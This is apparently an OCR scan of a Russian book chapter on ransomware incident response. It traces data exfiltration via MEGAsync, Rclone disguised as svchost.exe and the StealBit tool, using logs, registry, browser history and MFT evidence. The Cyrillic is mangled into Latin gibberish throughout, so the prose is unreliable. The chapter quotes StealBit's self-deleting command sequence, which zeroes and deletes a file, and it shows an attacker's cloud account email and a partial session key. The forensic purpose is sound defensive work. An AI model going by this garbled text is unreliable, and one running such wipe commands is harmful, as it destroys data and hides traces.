2 ) vl
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. Puc. 10.6. YKpaaecHHbIN apXUB

. Eclm MbI ckadyaeM JJaHHbBIC 110 3TOM CChUIKE, TO YBUAWUM, UTO HAMJCHHbBIN paHee apXuB ObLI 3arpyKEH B
DropMekFiles.

. KoHeuHO, 3TO HE €IMHCTBEHHBIA METO/I, UCIIOJIb3YEMBbIN 3J10YMBIIIJICHHUKAMU JIJISI KpaXku JaHHBIX. B
CIIEIYIOILEM pa3Jiesie Mbl PACCMOTPUM, KaK OHHU 3JIOYIIOTPEOJISIOT KIMEHTCKUMHU ITPUIIOKEHUSIMU 00Ja4HbIX
XPaHWIHIII,



. U3y4yeHue 3/10ynoTpeod/1eHUsI KIMEeHTCKUMH
NPUI0KEHUSIMHU 00JIAYHBIX XPAaHUJIUILL

. Oneparopsl NporpaMM-BbIMOTATENIEN MOTYT UCIIOJIB30BATh UISI KPAXKU IAHHBIX HE TOJIBKO BCTPOCHHBIE, HO U
CTOPOHHHUE UHCTPYMEHTHI. MBI BCErJIa PEKOMEHIYEM ITPOBEPATH HEAABHO YCTAHOBIIEHHBIE ITPOTPAMMBI,
IIOCKOJILKY OHM MOTYT OBITh CBSI3aHbI C JICHCTBUSMH 3J10yYMBIIIIJICHHUKOB.

. Takyro nadopmaiio M0oXKHO nojyuuth u3 ¢aiina peectpa SOFTWARE, koTopslii HaxoauTcs B
narnke C:\Windows\System32\config. Kpome Toro, nadopmanuio 00 yCTaHOBJICHHBIX IIPOIPaMMax MOKHO
Hautu B paszaerne SOFTWARE | Microsoft\Windows\CurrentVersion\Uninstall.

2021-12-26 14:33:22
2018-09-1507:36:03
2018-09-1507:36:03
2018-09-1507:36:03
2018-09-1507:36:03
2018-09-1507:36:03
2018-09-1507:36:03
2018-09-1507:36:03
2018-09-1507:36:03
2018-05-1507:36:03
2018-09-1507:36:03
2018-09-1507:36:03
2018-09-15 09:10:07
2018-09-15 09:10:07
2021-11-28 11:28:56
2021-12-26 14:33:22

4~ Uninstall
[~ AddressBook
[~ Connection Manager
[~ DirectDrawEx
[~ Fontcore
== IE40
= IE4Data
== IESBAKEX
[~ IEData
[~ MobileOptionPack
[~ SchedulingAgent
£ wiIC
= DXM_Runtime
[~ MPlayer2
[ AnyDesk

I~ i MEGAsync

O O = O O O O O O O O -~ O O
—
()]

—
w

0O O O O O O O O 0O O O O ©O O O

~N

. Puc. 10.7. Uudopmanust 00 yCTaHOBIICHHBIX IPOTpamMMax

. O HemaBHO yCTaHOBJIEHHOM NpuiokeHnu MEGASsync Mbl MOKEM y3HATh €l11€ OO0JIbIIIE, ITIPOBEPUB 3HAUCHUS
noapazaena MEGAsynNC.

Value Name | Value Type | Data

e Mol ' )

Displayniame Regsz MEGASYNC

UninstaliString | RegSz C:\Wsers'\smith\AppData L ocal \MEGAsync \uninst.exe
Displaylcon RegSz C:\Wsers'\smith\AppData\Local MEGAsync\MEGAsync.exe
NeplayVerson  RegS?

URLInfoAbout RegSz http: /fwww.mega.nz

Publisher RegSz Mega Limited

NSiSianguage Regsz 1033

. Puc. 10.8. leranu ycranoBku MEGASsync

. DTO NPUJIOKEHUE MPEAOCTABISACT 3JIOYMBIIIIICHHUKAM IIIUPOKUE BO3MOKHOCTH I KPAXKH JTAHHBIX, IO3TOMY
MHOTHE OIEPATOPHI IIPOrPAMM-BBIMOTaTEIEH HPEAIIOYUTAOT UMEHHO €TO.

. KimeHTckue npuiokeHus 4acTo XpaHIT Ha XOCTE Pa3IMYHbIC )KYPHAJIbI, IO3TOMY BCET/1a CTOUT MMPOBEPSTH
noamanku C:\Users\%USERNAME%Y%\AppData Ha Haaudre moiae3HbIX HCTOYHUKOB yIHK. OOUH U3 TaKUX
ncTouHNKOB B cirydae MEGAsync — daitn MEGAsync.log. B Hammem ciydae oH HaXOIUTCS B

nanke C:\Users\smith\AppData\Local\Mega Limited\MEGAsync\logs.



12/26-14:35:26.853651 7940 INFO Adding file to upload C:\Users\
smith\Documents\Kate Black.docx [:-1] queue:
12/26-14:35:26.853731 7940 INFO Adding file to upload
C:\Users\smith\Documents\Martin White.docx [:-1] queue:
12/26-14:35:26.853802 7940 INFO Adding file to upload
C:\Users\smith\Documents\Neil Armstrong.docx [:-1] queue:
12/26-14:35:26.853889 7940 INFO Adding file to upload
C:\Users\smith\Documents\Quote 24.12.docx [:-1] queue:
12/26-14:35:26.853957 7940 INFO Adding file to upload
C:\Users\smith\Documents\Quote 25.12.docx [:-1] queue:
12/26-14:35:26.854021 7940 INFO Adding file to upload
C:\Users\smith\Documents\Alan Lee.docx [:-1] queue:
12/26-14:35:26.854085 7940 INFO Adding file to upload
C:\Users\smith\Documents\Alex Todd.docx [:-1] queue:
12/26-14:35:26.8541497940 INFO Adding file to upload
C:\Users\smith\Documents\Angel Wright.docx [:-1] queue:
12/26-14:35:26.854212 7940 INFO Adding file to upload
C:\Users\smith\Documents\Casandra Penn.docx [:-1] queue:
12/26-14:35:26.854274 7940 INFO Adding file to upload
C:\Users\smith\Documents\Contacts.docx [:-1l] queue:
12/26-14:35:26.854336 7940 INFO Adding file to upload
C:\Users\smith\Documents\Contracts.docx [:-1] queue:
12/26-14:35:26.854400 7940 INFO Adding file to upload
C:\Users\smith\Documents\Happy Roberts.docx [:-1] queue:
12/26-14:35:26.854462 7940 INFO Adding file to upload
C:\Users\smith\Documents\John Hawk.docx [:-1] gqueue:
12/26-14:35:26.854524 7940 INFO Adding file to upload
C:\Users\smith\Documents\Josh Smith.docxz [:-1] queue:
12/26-14:35:26.854586 7940 INFO Adding file to upload
C:\Users\smith\Documents\Julia Cassidy.docx [:-1] queue:

. Kpome Toro, B aTOM (haite )xypHajaa ecTb 1 HHPopMaus 00 y4eTHOM 3allUCH, UCIIOJIb30BAHHOM JJI KpaKHU

NAHHBIX.
12/26-14:34:51.962318 8004 DBG cs Sending 158:
[{"a":"us","user":"nidegiv292@saturdata.com","uh":" gjNUal

sKThOKvk-KSénA","sek":"F_3tILmzDLfT88801IJGBg","si":"9eXU674TFe

BaSPpTUM80WQUUJISLKL82tgGH1xG-7c£8"}] [net.cpp:1440]

. Tenepb MBI 3HaeM, Kakue JJaHHBIC ObLIN U3BJIeUeHbI Ipu oMol MEGASsync, a Takke UMs KCIIOJIb30BaHHOM
JJIsL OTOT'O yquHOﬁ 3alIMCH, HO MbI BCC CIIIC HC 3HACM, KAK 3TO IIPHUJIOKCHHUC IIO0IIAJIO HA
CKOMIIPOMETHUPOBAHHBIN XOCT.

. JlaBaiiTe emie pa3 mpoaHaIM3HPyeM UCTOPHIO IPOCMOTPOB BeO-cTpanuIl aApyroro opayzepa — Mozilla
Firefox. 9ToT BeO-Opay3ep XpaHUT UCTOPUIO ITPOCMOTPOB B 0a3e JaHHbIX SQLite, koTopas
HaszwpiBaeTcs places.sqlite. Ee moxxao m3yuuts npu nomoru DB Browser.

Database Structure Browse Data Edit Pragmas Execute SQL

[ dCreate Table % Create Index & Print

Name
v [ Tables (21)
> ] moz_anno_attributes
> [ moz_annos
> ] moz_bookmarks
] moz_bookmarks_deleted
] moz_historyvisits
] moz_inputhistory
] moz_items_annos
] moz_keywords
] moz_meta
] moz_origins
"] moz_places
) moz_places_metadata
'] moz_places_metadata_groups_to_snapshots
] moz_places_metadata_search_queries
| moz_places_metadata_snapshots
) moz_places_metadata_snapshots_extra
] moz_places_metadata_snapshots_groups
) moz_session_metadata
] moz_session_to_places
" sqlite_sequence
) sqlite_stat1

v

VvV VvV WV V WV VWV V V V V V V V V V V VvV

. Puc. 10.9. Ctpykrypa 0a3bl JaHHBIX



Camas MHTepecHas IS HaIlleTo paccieaoBaHus nH(popmanus HaxoauTcs B Tabauie moz_places. 3xecs
1okas3aH cnucok nocemeHnbix URL-agpecos.

id url title
Filter [Filter [Filter

1 https://support.mozilla.org/en-US/ ...

2 https://support.mozilla.org/en-US/kb/...

3 https://www.mozilla.org/en-US/...

4 https://www.mozilla.org/en-US/about/

5 https://www.mozilla.org/en-US/firefox/...

6 https://www.mozilla.org/privacy/firefox/

7 https://www.mozilla.org/en-US/privacy/ ... Firefox Privacy Notice — Mozilla
8 http://mega.nz/

9 https://mega.nz/ MEGA
10 https://mega.io/?nz=1 MEGA
11 https://mega.iof The Most Trusted, Best-Protected Cloud Storage - MEGA

12 https://mega.in/desktop Desktop App - MFGA
13 https://mega.nz/MEGAsyncSetupb4.exe  MEGAsyncSetupbd.exe

Puc. 10.10. Conepxrmoe Tabauibl moz_ places

Teneps MbI TOUHO 3HAEM, YTO OIEPATOPHI MIPOrPAMMBbI-BBIMOIATENs 3arpy3UiIn U 3alyCTUIIM YCTAaHOBIIUK
MEGAsync ¢ opuIMaibHOro canTa, a 3aTe€M UCIOJb30BAIIA €0 JJISl SKCPUIbTPAU KOH(PUICHITHATBLHBIX
na"HbIX. OcTaock NpoBepUTh, ObLT 11 Opay3ep Mozilla Firefox ycTraHOBIeH Ha JaHHOM XOCTE JI0 B3JI0Ma.

Brl YKC 3HACTC, I'IC UCKATh CBUJICTC/ILCTBA YCTAHOBKH IIPOI'PAMMUBI.

4" Uninstal 0 19| 2021-12-26 14:08:18
" AddressBook 0 2018-09-15 07:36:04
== Connection Manager 1 2018-05-1507:35:04

Dt =L Dr awEx 0 2018-05-15 07:36:04
=— DXM_Runome v 2018-U9-15 U9:10:0/
—— Fontcore 0 2018-09-15 07:36:04
— IE<0 0 2018-09-1507:36:04

[E4Data 0 2018-09-15 07:36:04

IESBAKEX 0 2018-09-15 07:36:04
== IEData 0 2018 09 1507:36:01
=~ MoblleOpuonPack 0 2018-09-15 07:36:04
== Mozilla Firefox 95.0.2 (x64 en-...| 13 2021-12-26 14:08:18

== MozillaMaintenanceService 2021-12-26 14:08:18

C OO0 © . © D000 © 0 0000 0 ©.0

8
MPlayer2 0 2018-09-15 09:10:07
== Oracle WM VirhialRox Guest Additions 5 N18-03-18 11:33:00
—= SchedulingAgent 0 2018-09-15 07:36:04
[ WIC 1 2018-09-15 07:36:04
= {0767C1F2-C4E8-4EA8-9109-3407.. 25 2021-12-26 13:09:21
== {895F4137D-6C26-4A84-8DB8-2E5A 25 2019-03-19 10:54:40
{C132DF61-207E-4C59-9088-1DA9. 24 2019-03-19 11:30:13

Puc. 10.11. Jlara ycranoBku Mozilla Firefox

Kak Bugure, Mozilla Firefox Obl1 ycTaHOBIIEH B TOT € JIeHb, UTO 1 MEGASync, a 3aTeM 3JI0yMBIIIJICHHUKH
MCIOJIb30BaIN €0 JJIsl 3arpy3Ku U YCTAHOBKH KJIMEHTCKOro npunoxeHuss MEGASyNC.

NHCTpyMEHTHI JJ1 SKCHUIBTPAIIMH JaHHBIX MOT'YT OBITh 3arPY»KEHBI B IICJIEBYIO CUCTEMY HE TOJIBKO ITyTEM
3J10ynoTpeOJieHUus1 Be0-Opay3epoM. MoIIeHHUKH, HUCITOJIBb3YIOIIME MPOTpaMMYy-BbIMOraTellb, MOT'YT
IPUMEHSATH BHEIIHeE nid BHyTpeHHee RDP-coequnenue, cepsep ynpapiaeHus 6otom uin Cobalt Strike
Beacon.

JlaBariTe paCCMOTPHUM JAPYTHE MOMYISAPHbIC HHCTPYMEHTBI, MCITOJIB3YEMBIE OIIEpAaTOPAMHU IPOrpaMM-
BbBIMOTaTEJICH.

. U3y4yeHue 3/10ynnoTpeod/1eHUusi CTOPOHHUMHU
MHCTPYMEHTAMHU 00/1IaYHON CUHXPOHU3ALUU

3JI0YMBIIIIEHHUKH MCIIOJB3YIOT CaMble€ pa3HbIe MHCTPYMEHTHI, B TOM YK CJie aOCOIIOTHO JISTUTHMHEBIE, Ha
pa3HBIX dTanax KM3HEHHOTO ITUKJIa aTakH, U 3Tall KPaXku JaHHBIX — HEe UCKIIFoUeHHEe. MBI y)Ke BUJICNIH, KakK
3TO JIeJIACTCs MMyTEM 3JI0YyNoTpeOieHHsT BeO-Opay3epaMu U KIMEHTCKUMU OPUIIOKEHUSIMU, TEIIEPh JaBalTe
PACCMOTPHUM €IIIE OJIUH CITyYaid.

YTo0bI n30€kKaTh OOHAPYKEHUS, OIIEpPaTOPHI MPOTrPaMM-BbIMOTraTeIe MIPUOEraloT K pa3IMuYHbIM METOIaM
MackupoBkHu. Hanmpumep, oHM MOTYT IEPEUMEHOBBIBATh MHCTPYMEHTBI, YTOOBI T€ BBITJISACIN KaK



nerutuMHbIe. Kak BbI yke 3Haete, Shimcache — oauH U3 caMbIX pacnpOCTPAaHEHHBIX UCTOYHUKOB
CBHUETEJILCTB 3aIlyCKa MporpaMM. Mbl MOKEM M3BJI€Ub ATU JaHHbIC U3 (aiina

peectpa SYSTEM (pacnonmoxennoro B manke C:\Windows\System32\config), manpumep, ¢ moMoIbi0
RegRipper u npoBepuTh HAIMYKE CIEIOB UCIIOJIb30BAHUS MACKUPOBKH.

O4eHb CKOPO MbI 3aMETHUM CIICAYIOIIYIO 3aMHCh:
C:\Windows\svchost.exe 2021-12-26 13:56:30

Ha nepBbIi B3IJIs11 3TO IETATUMHBIN McHOIHIEMbIN (Paitn Windows, KOTOpBIN MO3BOJIAET CIIy:KO0aM
COBMECTHO HMCITOJIb30BATh OJWH U TOT ke Tpouecc. Ho ecTs 0Ha BaxKHas JeTalb — MOJJIUHHBIN
¢aiin svchost.exe momken HaxoauThes B manke C:\Windows\System32!

Bpemennas MeTka, xpansiasica B Shimcache, orpaxkaer maty nociegdaei mogudukanuu ¢aiiia, IIo3ToMy
napaite mpocMoTpuM MFT, 4ToOBI BBISICHUTB, KOT/Ja OB CO3/1aH MOA03PUTEIbHBIN (haiiil.

.\Windows svchost.exe 42564608 2021-12-26 13:56:29
\$Recycl.. $RO3HYYO.co.. 97 2021-12-26 13:56:30
.\Program.. RtSigs @ 2021-12-26 13:56:35
.\Program.. Data 0 2021-12-26 13:56:35
.\Program.. 3cbld75ed43.. 322 2021-12-26 13:56:35

Puc. 10.12. ITogo3putensHbiii (aiin svchost.exe

JlaTa co3gaHus MOYTH COBMAAAET ¢ gaTor Moaudukamnuu. /JaBaite mpokpyTUM BpeMeHHYIO ImKkany u3 MFT
BHU3, YTOOBI OOHAPYKUTH OOJIBIIIE TTOIO3PUTEIBHBIX (DAKIIOB.

.\Users\Administrator\AppData\Roaming rclone © 2021-12-26 13:57:19
.\Windows\Prefetch SVCHOST . EXE-53D597EB. pf 7753 2021-12-26 13:57:22
.\$Recycle.Bin\S-1-5-21-1821442491-367402210.. $193HYYO.conf 76 2021-12-26 13:59:14
. \Windows\Prefetch SVCHOST .EXE-B629BB1E. pf 7207 2021-12-26 13:59:34
.\Users\smith\AppData\Local\Packages\Microso.. OneConnect.DiscoveryNot.. 1217 2021-12-26 13:59:52
_.\Users\Administratqr\AppData\Roaming\rclgne rclone.conf 101 2021-12-26 14:00:16

Puc. 10.13. [logo3putenbHbIi (paii KOHQUTYypalluu

Ha pucynke 10.13 BugHo, 4TO cHayana ObliIa co3/aHa namka rclone, B kotopoii 3arem mosiBujics
¢atin rclone.conf. IToxosxe, aro 3to daitn koHburypamun. IllocMOTpUM BHYTPB.

[mega]
type = mega

user nidegiv292@saturdata.com

zLnoSesMMMauZfTé[redacted]

pass

210 (haia KoHpUrypanuu s yaetHor 3anucu MEGA, KkoTopyro Mbl OOHApYKUJIHA B MPEABIAYILEM pa3icie.
DT0 03Ha4daer, 4To noMuMO MEGASync 3J10yMBIIINIEHHAKYU UCITOJIb30BAIM €11€ OAWH UMHCTPYMEHT LIS
SKCUIbTpauu JaHHBIX — Rclone.

YT00BI yOeIUTHCS, YTO HAIIIE IIEPBOE MPEATNIOI0KEHUE COOTBETCTBYET BHOBb OOHAPYKEHHBIM
J0Ka3aTelIbCTBAM, JaBalTe IPOBEPHUM CBOMCTBA SVChost.exe:

Property Value
Description

File description  Rsync for cloud storage |

Type Application

File version 1.57.0.0 |

Product version 1.57.0

Copyright The Rclone Authors

Size 40.5MB

Date modfied  12/26/2021 5:56 AM

Language Language Neutral

Original flename rclone.exe

Puc. 10.14. CsoiicTBa svchost.exe

Teneps MBI MOJKEM C YBEPEHHOCTBIO CKa3aTh, YTO MOAO3PUTEIBHBIN (haitn sVchost.exe — 3to Rclone,
MHCTPYMEHT KOMaHHOM CTPOKH JJIs MIEpe/Iayu JJaHHBIX B 00JIAKO U APYTUe BHEIIHUE XPAaHUIIMIIIA.

Kak BuauTe, onepaTophbl IIPOrpaMM-BbIMOTATEICH OUYEHb YaCTO UCIOJIb3YIOT IS KPaXKu JJTaHHBIX pa3IMYHbIC
JIETUTUMHBIC HHCTPYMEHTBI U B€O-CEPBUCHI, HOATOMY PEKOMEHYEM HPOBEPSITH COOTBETCTBYIOIINE CETEBBIC
MOJIKJIFOUEHHS B )KypHajlaX IMPOKCH-CEepBepa Wil OpaHaMayspa.

CTOHUT OTMETUTH, YTO B HEKOTOPHIX CIyYasiX MOIIECHHUKU MOT'YT UCHOJIb30BaTh JJIs KPAKU JAHHBIX
CIIEIMAJIbHbIE HHCTPYMEHTHI. JlaBanTe paCCMOTPUM TAKOU CIIyYail.



. U3ydyeHHe UCI0J/Ib30BaHUA ClleliUaJIbHbIX
HHCTPYMEHTOB

. B 2021 r. HEKOTOpBIE NIPEACTABUTENN MOMYJISIPHBIX IIPOTPAMM-BBIMOTATEIECH KaK YCIYT CTAIN MPEJIaraTh B
Ka4eCTBE JOIOJHEHUS K MPOTrPpaMME-BBIMOTATEIII0 U COOCTBEHHBIE MHCTPYMEHTHI Kpaku JaHHbIX. OUH 13
ApKHUX puMepoB — Steal Bit, qorosHUTEIbHASA TporpaMMa IS Kpayku HH(MOPMALMH, UAYINAas B KOMILJIEKTE C
LockBit 2.0. Ipyrue npumepsl — cpeactBo Sidoh gyist mporpaMmmbl-BeiMoraTesisi Ryuk u muHCTpyMeHT
ExMatter nia nporpamMmsi-BeiMoratesst BlackMatter.

. B HEKOTOpPBIX ciydasix UX JOBOJILHO JIETKO OOHAPYKUTh BO BpEMS pacciieJOBaHUs MHIUACHTAa — OIIePaTOphI
IIPOTPaMMBbI-BBRIMOTaTEIIsI MOT'YT 3allyCKaTh MCIIOJIHISMBIN (haiin ¢ Ha3BanueM StealBit.exe. B aTom ciryuae BoI
MOJKETE MU3BJICYb HH(POPMAIIHIO U3 PA3IMYHBIX HCTOYHUKOB CBEJICHUM O BBHIIIOJHEHUM IIPOrpaMM, O KOTOPBIX
BbI YK€ XOPOIIIO 3HACTE, U UCKATh (paijIbl C MOXO0KMMHU HA3BaHUAMHU. ECIIM 3710 yMBIIIJICHHUKH MAaCKUPYIOT
CBOIO JIEATEIBbHOCTh, COCPEAOTOUYBTECH HA MPOMEKYTOUHBIX MAKaX, UCIIOJIb3YEMBIX 3JI0YMbBIIIJICHHUKAMU,
WA OPUECHTUPYUTECH JJIS IIOMCKA OMOPHBIX TOYEK HA BPEMEHHBIC IIIKAJIBI.

Comparative table of the information download speed of the attacked company
Testing was carried out on a computer with an internet speed of 1 gigabit per second

Spaed W Compression Hidden o L SRS ot spe'nt
megabytes ; | ti od drag'n'drop downloading downloading
per second LTOe e i of 10 GB of 100 GB

Time spent
downloading of 10 TB

Downloading
method

Stealer - StealBIT 83,46 MBIs Yes Yes Yes 1M 598 19M 58S 1D 9H 16M 578

Rclone pcloud.com

et 482 MB/is No No No 34M 348 §H 45M 46S 24D 18M 8S

Relone pcloud.com 438 MBIs No No No 38M 38 6H 20M 318 26D 10H 11M 458
premium

Rclone mail ru free 3,56 MB/s No No No 46M 488 7H 48M 95 32D 12H 16M 28S

Rcione mega.nzfree 2,01 MBls No No No 1H22M558  13H48M 11S 57D 13H 58M 44s

Rclone mega.nz PRO 1,01 MB/s No No No 2H 45M 1D 03H 30M 9§ 114D 14H 16M 308

Rclone yandex ru free 0,52 MB/s No No No 5H 20M 308 2D O5H 25M 78 222D 13H 52M 498

. Puc. 10.15. Uadopmanms o StealBit ¢ DLS LockBit 2.0

. JlaBalite OoJsiee moJipoOHO ocTaHOBUMCS Ha StealBit. Bo-nepBbIX, Kak U cama mporpaMMa-BbIMOIaTelb
LockBit, oHa He paboTaeT Ha KOMITBIOTEPaX, UCIOJIb3YIOIINX a3epOaiIKaHCKUIH, apMIHCKHM, 0€JIOPYCCKUH,
IPY3UHCKHH, Ka3aXCKUH, KUPTU3CKUI, MOJIJIABCKUI, PYCCKUH, TAJPKUKCKUM, TYPKMEHCKHM, Y30€KCKHUM U
YKPauHCKUM s13bIKU. [IpaBaa, B HEKOTOPBIX 00J1€€ HOBBIX BEPCUSIX ATH IIPOBEPKH HE PEATM30BaHbI, U TOTAa
Steal Bit MOKHO 3ayCTUTB Ha JIFOOOM CHCTEME.

. Bo-BTOpHIX, Kak u LockBit, oHa HCcoab3yeT MOPTHI 3aBEPIICHUS BBOJA-BBIBOAA, HO HE IS IIM(DPOBAHUS
(baitoB, a JJ1 UX 3arpy3Ku Ha 3aJJaHHbIE CEPBEPHI YIIPABICHUS U KOHTPOJIA.

. Ilonp3oBarenu LockBit MoryT nmnbo neperackuBath (paiiibl B okHO StealBit, 1100 yka3bIBaTh IyTh K (paiiry
WJIM TIalIKe B KAYECTBE apryMeHTa KoMmanaHou ctpoku. BpengonocHnoe 110 ncnons3yer merox HTTP PUT s
Iepeladyu JAaHHBIX Ha CEpBEP YIPABICHUS U KOHTPOJIS.

. Kpowme Toro, eciu yka3an napameTp komanaHo# ctpoku -delete/-d, StealBit ynanser cebs moce 3aBeplieHus
npoiiecca dKCIIbTpanuu. I 3TOro BpeJOHOCHAs IIPOoTrpaMMa BEITIOJTHSCT clieayromne koManasl, rae <file
Size> — pa3mep ucnoausemoro daiina, a <file path> — myrs k StealBit:

ping 127.0.0.7 -n 7 > Nul

fsutil file setZeroData offset=0 length=<file size> <file path>

del /f /q <file path>

. Kak Bujure, 1ojib30BaTeId NporpaMM-BbeIMOTaTelIei MOTYT ObITh OYEHb U300pETATEIbHBI B IPOLIECCE KPAXKHU
KOH(PUICHIMATbHBIX JaHHBIX. JIJIs peleHus 3Tol 3aJ1a4 OHM MOT'YT MCII0JIb30BaTh IIIMPOKUM CIIEKTP
HNHCTPYMCHTOB, IIO3TOMY OYCHb BA’KHO, YTOOBI JIMLA, PCArupyromnuc Ha MTHIINJICHTDI, ObLIN BOOPYKCHBI
aKTyaJIbHbIMU JAHHBIMU JJIs1 pacClI€OBaHUs yIpo3 KHOepOe30MacHOCTH.

. BBIBO1bI

. JIBOMHOE BBIMOTATEIBCTBO CTAJIO0 BEChbMA MOMYISIPHOM TaK TUKOW I'PYIIIIMPOBOK, CBA3AaHHBIX C MpOrpaMMaMu-
BhIMOTaTensiMu. Kaxxapiii roji B MHTEpHETE MMYOJUKYIOTCI KOH(PUIeHIIMAIbHbIE JaHHBIC, YKPaJeHHbIE Y COTCH



opranu3anuu. [l03ToMy CrienanucThl 10 pearupoOBaHUIO HA MHIMICHTHI JTOJDKHBI OBITH XOPOIIO
OCBEJIOMJIEHBI O METOJAAX U UHCTPYMEHTAX, UCIIOJIb3YEMBIX OIIEpaTOpPaMu IIPOrpaMM-BbIMOTATENIEH, a TAKKE O
KPUMHHAUTMCTUYECKUX apTe(dakTax, MO3BOJISIIONIMX OOHAPYKUBATh TaKUE ACUCTBUA. MBI TIOJLKHBI XOPOIIO
3HATh 3JIOYMBIIIJIECHHUKOB U UX METO/IbI.

. B 3TOM ritaBe Mbl pacCMOTpPEIIM PACIIPOCTPAHEHHBIE TTOAX0/1bI, UCITOJIB3YEMBIE 3JI0YMBIIIICHHUKAMU IS
cOOpa M Kpaku JaHHBIX U3 CKOMIIPOMETHUPOBAHHBIX CETEH, U Y3HAJIN, KAKHE KPUMHUHAJIUCTUYECCKUEC
apTe(dakTbl MOKHO MCIIOJIb30BaTh /IS HOMCKA CIEA0B UX JCATEIbHOCTH.

. B cnenyroien riaBe Mbl y3HaeM, Kak KHOSPIPECTYMHUKHU JTOCTUTAIOT CBOEH KOHEYHOM 1€ —
PA3BEPTHIBAHUS IIPOrPAMM-BBIMOTATEIIEH.

nasa 11

METO/IbI PABBEPTBIBAHUS
IMPOT'PAMM-BBIMOTI'ATEJIEA

['maBHas 11€1b aTaKy MPOrpaMMbI-BBIMOTraTeIs, YIPaBIsieMOil 4eJI0BEKOM, — 3allM(pOBaTh KaK MOXKHO OOJIbIIIE
naHHbIX. 15 mudpoBaHMs 3J10YMBIIIJICHHUKH UCIOJIB3YIOT PA3IMYHbIC HHCTPYMEHTBI, KaK IMOJIy4€HHbBIEC OT
co3daTesel IIporpaMM-BeIMOTaTeNe KaK yCIyrH, TaK U pa3pad0TaHHbIC UMU caMUMHU. MTHOTIa mpUMEHSIeTCS
JIETUTUMHOE POrpaMMHOE oOecTieueHue Jjid mu@poBaHus, TunmmuHbie npumepbl — BitLocker u DiskCryptor.

OOBIYHO HA ATOM ATAaIl€ MOJb30BATEIN IPOrpaMM-BbIMOraTeNICH NOJHOCThIO KOHTPOJIUPYIOT B3JIOMAaHHYIO CETh:
OHH YK€ cOOpasii HHPOPMALIHAIO O JOCTYIIHBIX XOCTaX, IMOJYYHIN OIPUBUIIETUPOBAHHBIC YUECTHBIC TaHHBIE,
yAAJIWIN PE3EPBHBIC KOTIUM, OTKIIOUYMIIM IIPOTYKThI O€30IIaCHOCTH U MO3a00THIIMCH O Ja3elKax I pe3epBHOTO

JOCTYyTA.

B 3Tol ri1aBe Mbl pacCCMOTPUM Hanu0O0JIeE PacIpOCTPaAaHEHHBIE METOIbI, UCIIOJIb3yEMBbI€ 3JI0YMBIIIJICHHUKAMM JIJIS
pa3BEPTHIBAHUS IIPOrpaMM-BBIMOTATENICH B KOPITIOPATUBHBIX CETSX, a TAKKE KPATKO OOCYAUM IIPOLIECC UX
aHau3a.

MBI 3aTpOHEM cCJIeAYIOIIHUEe TeMBbI:

N3yueHune 3noynotpebneHna RDP.
N3yueHune 3n0ynotTpebneHnsa agMMHUCTPATUBHBIMU CETEBbIMMN PECYPCAMMU.
N3yuyeHne 3n0ynoTpebieHna rpynnoBbiMU NOAUTUKAMM.

. U3yuyeHmue 3;10ynorpeosieHuss RDP

Kak BbI y’ke 3HaeTe, MHOTME BEIMOTaTEIN MOJYy4YaroT IepBOHAYAIbHBIA JOCTYII, aTaKys OOIEI0CTYITHbIC
CepBEphI IPOTOKOJIA yaaneHHOro padouero croja (RDP). Kpome Toro, ciry:k0bl yIal€HHOr0 10CTYyIIa U
ocooeHHo RDP — oauH u3 HanboJiee pacnpoCTpaHEHHBIX METOA0B, HCIOJIb3YEMbIX 3JI0YMBIILICHHUKAMU
JUTSI TOPU30HTAJIBHOTO niepeMenieHusd. K CoxXalleHnI0, MHOTHE CUCTEMHBIE U CETEBBIE aIMUHUCTPATOPHI TAKKE
ITOCTOSIHHO MCIOJB3YIOT 3TH CEPBHUCHI, B PE3YJILTATE BCE, YTO HYKHO 3JI0YMBIIIJICHHUKAM, — 3TO MOJYYHUTh
COOTBETCTBYIOIIIME YUYETHBIC JaHHbIE. [I09TOMY BIIOJIHE €CTECTBEHHO, YTO MHOTME KMOEpHPECTYIHUKHU
350ynoTpe0sisitoT RDP B ToM uncne 1 1Jist pa3BepThIBaHUS IIPOrpaMM-BbIMOTaTENIEH.

. B 00abIIMHCTBE ClydyaeB BaM NPUXOAUTCS HAYMHATh PACCICIOBAHUE C MOCIEAHEH CTaIun KU3HEHHOIO
[IUKJIa aTaK1 — C pa3BePThIBAHUS IIpOorpamMMbI-BeiMoraress. IloaTomy mepBoe, 4To Bbl JOJKHBI CASIATh, —
3TO BBISICHUTB, KAKUM 00pa3oM Oblja pa3BepHyTa NporpaMMa-BbIMOIaTelb U YTO CTAJI0 HCTOYHUKOM
3apakKeHUs.



. CoBpeMEHHBIE TPOTrPAMMBI-BBIMOTATEIN YaCTO MEHSIOT PACIIAPEHUS 3aIM(PPOBAHHBIX (PANIIOB, a TAKKE
CO3JaI0T (pailyIbl C HHCTPYKIUAMHU 151 )KEPTBBI. UTOOBI MOMBITATHCS BBIABUTH EPBYIO OMOPHYIO TOYKY, TO

€CTh HaJajIo mpolecca mu@poBaHus, MOKHO HauaTh C aHAJIM3a TIaBHOM (ainosoi Tadbmmiel (Master File
Table, MFT).

. Kak Bugno Ha pucynke 11.1, nponecc mmdpoBanusa Hadancs 14 Hos0ps 2021 r., okono 10:37 no I'punBuuy.
[Tporpamma-BeIMOTaTenb co3aana psja ¢aiioB ¢ umerneM how to decrypt.hta — stu daiinsr comeprkar
MHCTPYKITUHU JIJIS )KEPTBBI O TOM, KaK CBSI3aThCS CO 3JI0YMBIIICHHUKAMHM, YTOOBI 3aIJIaTUTh BBIKYIT U
MOJIyYUTh TPOTPAMMHOE OOecIeueHue s Aen(ppoBKHU.

. \Boot\bg-BG
.\Boot\cs-CZ
.\Boot\da-DK
.\Boot\de-DE
.\Boot\el-GR
.\Boot\en-GB
.\Boot\en-US
.\Boot\es-ES
. \Boot\es-MX
.\Boot\et-EE
.\Boot\fi-FI
.\Boot\Fonts
.\Boot\fr-CA
.\Boot\fr-FR
-\Boot\hr-HR
.\Boot\hu-HU
-\Boot\it-IT
.\Boot\ja-JP

how to decrypt.

how_to_decrypt

how to_decrypt.

how_to_decrypt

how to decrypt.

how_to_decrypt

how_to_decrypt.
how to decrypt.
how_to decrypt.
how_to_decrypt.

how_to_decrypt

how_to_decrypt.
how_to_decrypt.
how to decrypt.
how_to_decrypt.
how to decrypt.
how_to_decrypt.
how to decrypt.

hta
.hta
hta
.hta
hta
.hta
hta
hta
hta
hta
.hta
hta
hta
hta
hta
hta
hta
hta

1792
1792
1792
1792
1792
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1792
1792
1792
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1792
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1792
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2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
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2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
2021-11-14
